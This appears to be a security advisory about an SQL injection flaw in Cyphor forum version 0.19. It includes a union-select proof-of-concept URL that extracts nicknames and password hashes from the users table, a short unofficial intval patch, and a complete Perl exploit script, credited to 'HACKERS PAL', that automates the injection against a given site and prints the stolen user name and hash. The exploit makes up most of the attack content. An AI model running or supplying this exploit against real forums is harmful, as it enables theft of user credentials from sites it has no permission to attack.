[UNIX] Cyphor SQL Injection

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  Cyphor SQL Injection
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SUMMARY

 <http://www.cynox.ch/cyphor/about.php> Cyphor is "a configurable 
Webforum, which uses PHP4's session capabilities to authenticate users, 
the MySQL database system to store all its data in, and Cascading Style 
Sheets (CSS) to configure the "Look and Feel" of the forum".

An SQL injection vulnerability has been discovered in Cyphor, allowing 
remote attackers to execute arbitrary SQL statements.

DETAILS

Vulnerable Systems:
 * Cyphor version 0.19

Proof of concept:
The following sample can be used to test your system for the mentioned 
vulnerability:
http://vulnerable/show.php?fid=2&id=-10 union select 
id,null,null,null,null,nick,password,null,null,null from users where id=1

Solution:
The product has been discontinued.

Unofficial patch:
Following the line:
$message_mode = 1;

Add
// Script Protection By : HACKERS PAL
$id=intval($id);
if(!$id)
{
        die("<br>We Dont allow Skript Kidz .. <br> By <a 
hre='Http://www.sqor.net'>HACKERS PAL</a>");
}
        // !/script Porotection By : HACKERS PAL fINISHED

Exploit:
#!/bin/env perl
#//-----------------------------------------------------------#
#// Cyphor Forum SQL Injection Exploit .. By HACKERS PAL
#// Greets For Devil-00 - Abducter - Almaster
#// http://WwW.SoQoR.NeT
#//-----------------------------------------------------------#

use LWP::Simple;

print "\n###########################";
print "\n# Cyphor Forum Exploit By : HACKERS PAL #";
print "\n# Http://WwW.SoQoR.NeT #";

if(!$ARGV[0]||!$ARGV[1]) {

print "\n# -- Usage: #";
print "\n# -- perl $0 [Full-Path] 1 #";
print "\n# -- Example: #";
print "\n# -- perl $0 http://www.cynox.ch/cyphor/forum/ 1#";
print "\n# Greets To Devil-00 - Abducter - almastar #";
print "\n###########################\n";

exit(0);

}
else
{
print "\n# Greets To Devil-00 - Abducter - almastar #";
print "\n###########################\n";

$web=$ARGV[0];
$id=$ARGV[1];
$url = "show.php?fid=2&id=-0%20union%20select%20id,2,3," . 
"4,5,nick,password,8,id,10%20from%20users%20where%20id=$id";
$site="$web/$url";
$page = get($site) || die "[-] Unable to retrieve: $!";
print "\n[+] Connected to: $ARGV[0]\n";

print "[+] User ID is : $id ";
$page =~ m/(.*?)/ && print "\n[+] User Name is: $1\n";
print "\n[-] Unable to retrieve User Name\n" if(!$1);
$page =~ m/(.*?)/ && print "[+] Hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
}

print "\n\nGreets From HACKERS PAL To you :)\nWwW.SoQoR.NeT . . . You Are 
Welcome\n\n";
#finished


ADDITIONAL INFORMATION

The information has been provided by  <mailto:s2b@hotmail.com> HACKERS 
PAL.



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